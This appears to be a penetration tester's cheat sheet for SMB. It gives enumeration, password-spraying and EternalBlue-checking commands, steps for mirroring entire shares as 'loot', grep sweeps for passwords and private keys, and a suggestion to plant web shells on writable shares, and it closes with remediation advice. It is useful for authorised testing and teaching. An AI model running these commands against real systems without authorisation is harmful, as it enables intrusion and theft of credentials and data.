🛡️ Methodology Checklist

  • Detect SMB version and dialect: nmap -p 445 --script smb-protocols [TARGET]
  • Null session enumeration: smbclient -N -L //[TARGET]
  • Share listing with credentials: smbclient -L //[TARGET] -U [USER]
  • Enumerate users/shares/policies: enum4linux-ng [TARGET]
  • Check for writable shares and sensitive file access
  • Test for common vulns: nmap --script smb-vuln-* -p 445 [TARGET]
  • MS17-010 check: nmap --script smb-vuln-ms17-010 -p 445 [TARGET]
  • NXC spray: nxc smb [TARGET] -u users.txt -p passwords.txt --no-bruteforce

🎯 Operational Context

Think Dumber First: NULL session check first — smbclient -N -L //[TARGET] costs nothing and reveals share names on many older or misconfigured Windows systems. Then check EternalBlue (MS17-010) on any pre-2019 Windows. Modern Windows: focus on credential reuse with NXC before any exploit attempts.

When you land here: Port 445 open. Run nmap --script smb-vuln-ms17-010,smb-enum-shares,smb-enum-users -p 445 [TARGET]. Then smbclient -N -L //[TARGET]. If credentials available, run nxc smb [TARGET] -u [USER] -p [PASS] --shares.


⚡ Tactical Cheatsheet

CommandTactical Outcome
sudo nmap [TARGET_IP] -sV -sC -p139,445Nmap scan with version detection and default scripts
smbclient -N -L //[TARGET_IP]List shares via null session (no password)
smbclient //[TARGET_IP]/[SHARE]Connect to a specific SMB share
rpcclient -U "" [TARGET_IP]Connect via RPC null session
smbmap -H [TARGET_IP]Map shares and check Read/Write permissions
nxc smb [TARGET_IP] --shares -u '' -p ''Enumerate shares with null credentials
./enum4linux-ng.py [TARGET_IP] -AComprehensive automated RPC + SMB enumeration
smbget -R -U '%' smb://[TARGET_IP]/[SHARE]Recursively mirror an entire share (anonymous) to the current dir
nxc smb [TARGET_IP] -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=trueSpider every readable share and auto-download all files
sudo mount -t cifs //[TARGET_IP]/[SHARE] /mnt/[SHARE] -o ro,guest,vers=3.0Mount the share read-only for native cp -r/grep/find
CommandTactical Outcome
lsList files in current share
get [FILE]Download a single file
recurse ON; prompt OFF; mget *Recursively download the whole tree non-interactively
tarmode; tar c [SHARE].tar *Bundle the entire share into one local tar archive
put [FILE]Upload a file
!cat [FILE]Execute local command
CommandTactical Outcome
srvinfoServer OS and version
enumdomainsList all deployed domains
querydominfoDomain, server, and user information
netshareenumallEnumerate all available shares
netsharegetinfo [SHARE]Info about a specific share
enumdomusersList all domain users
queryuser [RID]Details for a specific user RID

🔬 Deep Dive & Workflow

Inside smbclient shell: Inside rpcclient:

Initial Enumeration

  • Nmap: sudo nmap [TARGET_IP] -sV -sC -p139,445
  • List shares via null session: smbclient -N -L //[TARGET_IP]
  • Map share permissions: smbmap -H [TARGET_IP]
  • RPC null session: rpcclient -U "" [TARGET_IP]
    • Run srvinfo — server OS version
    • Run enumdomusers — list domain users
    • Run netshareenumall — list all shares
  • Run enum4linux-ng.py [TARGET_IP] -A for full automated report
  • Check nxc smb [TARGET_IP] --shares -u '' -p ''

Attacks

  • Access readable shares and mirror them locally (see Mirroring a Whole Share Offline), then triage offline
  • Check for writable shares → upload malicious file or web shell
  • Enumerate users via RPC → build username list for password attacks
  • Use queryuser [RID] to get login times, group memberships
  • Credential brute-force if null sessions blocked (CrackMapExec/NetExec)
  • Check Samba config for dangerous settings if local access available

Mirroring a Whole Share Offline

When a share has read access (anonymous, guest, or credentialed), don’t inspect it file-by-file over SMB — pull the entire tree down once and triage locally with normal Unix tooling. Pick whichever transport fits.

Option A — smbclient recursive mget (no extra tools): disable the per-file prompt and turn on recursion, then grab everything. Run it non-interactively with -c:

# anonymous; -U '%' = empty user + empty password
smbclient //[TARGET_IP]/[SHARE] -U '%' -c 'recurse ON; prompt OFF; mget *'
 
# or interactively inside the smbclient shell
smbclient //[TARGET_IP]/[SHARE] -U '%'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

The download lands in the directory you launched smbclient from, preserving the folder structure. Add credentials with -U '[USER]%[PASS]' instead of '%'.

Option B — tarmode (one archive, preserves structure): stream the whole share into a single local tar. Useful when the tree has many small files and you want one artifact:

smbclient //[TARGET_IP]/[SHARE] -U '%' -Tc [SHARE].tar
# then unpack locally
tar xvf [SHARE].tar

Option C — smbget -R (simplest one-liner): recursive mirror to the current directory:

smbget -R -U '%' smb://[TARGET_IP]/[SHARE]

Option D — mount it (best for large shares / repeated greps): mount read-only, then use native tooling and never round-trip to SMB again:

sudo mkdir -p /mnt/[SHARE]
sudo mount -t cifs //[TARGET_IP]/[SHARE] /mnt/[SHARE] -o ro,guest,vers=3.0
# credentialed: -o ro,username=[USER],password=[PASS],vers=3.0
cp -r /mnt/[SHARE] ./[SHARE]_loot     # copy out, or grep in place
sudo umount /mnt/[SHARE]

Option E — nxc spider_plus (mirror every readable share at once): when you don’t yet know which shares hold loot, spider them all and auto-download:

nxc smb [TARGET_IP] -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=true
# files saved under /tmp/nxc_hosted/nxc_spider_plus/[TARGET_IP]/

Then triage offline. Once the share is local, hunt for secrets with tooling SMB can’t give you:

# recursive credential/secret sweep (case-insensitive, skip binaries)
grep -rniIE 'pass(word)?|secret|api[_-]?key|connectionstring|BEGIN (RSA|OPENSSH) PRIVATE KEY' .
 
# high-value file types
find . -type f \( -iname '*.config' -o -iname '*.ini' -o -iname '*.kdbx' \
  -o -iname '*.ps1' -o -iname '*.bak' -o -iname 'web.config' -o -iname 'unattend.xml' \) -ls

Gotcha: mget * downloads nothing or prompts for every file unless you set prompt OFF first; without recurse ON it only grabs the current directory, not subfolders.

Core Concept

SMB (Server Message Block) is a client-server protocol for sharing files, printers, and other resources.

  • Ports: 137, 138, 139 (NetBIOS legacy) | 445 (Direct TCP, modern)
  • Samba: Linux/Unix re-implementation — enables cross-platform SMB communication.

Dangerous Samba Settings (/etc/samba/smb.conf)

SettingRisk
browseable = yesShare visible in listings — enables enumeration
guest ok = yesAllows passwordless connection
read only = no / writable = yesAllows file creation/modification

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
smbclient -N returns ‘NT_STATUS_ACCESS_DENIED’NULL sessions disabled (post-2003 default)Try guest: smbclient -U guest% -L //[TARGET]; with credentials: smbclient -U [USER]%[PASS] -L //[TARGET]
NXC shows ‘SMB STATUS_NOT_SUPPORTED’Tool defaulting to SMBv1 which is disabledUse nxc (newer) instead of crackmapexec; add --smb-port 445; target must have SMBv2/3
EternalBlue scanner shows vulnerable but exploit failsWrong architecture or memory stateConfirm x64 vs x86 with systeminfo; try Python EternalBlue PoC; use MSF ms17_010_psexec instead of eternalblue
Share access works in smbclient but nmap smb-enum-shares returns nothingSMB signing causing script failureUse nxc smb [TARGET] -u [USER] -p [PASS] --shares as authoritative share lister
Credentials valid but cannot write to writable shareNTFS permissions vs share permissionsMap with smbmap -H [TARGET] -u [USER] -p [PASS] to see NTFS access level; read access ≠ write access
mget * grabs nothing or only the top folderprompt/recurse defaultsSet prompt OFF (skip per-file confirmation) and recurse ON (descend subfolders) before mget *; or use smbget -R / tarmode

📝 Reporting Trigger

Finding Title: SMB NULL Session Enabled / Unauthenticated Share Access / EternalBlue (MS17-010) Impact: User account enumeration, share listing, and potential RCE (EternalBlue) without credentials. Authenticated shares may expose sensitive internal data. Root Cause: RestrictAnonymous registry value set to 0. SMBv1 enabled. Missing MS17-010 security patch (KB4012212). Recommendation: Set RestrictAnonymous=2. Disable SMBv1 (Set-SmbServerConfiguration -EnableSMB1Protocol $false). Apply MS17-010 patch. Enforce SMB signing. Restrict share permissions to minimum required accounts.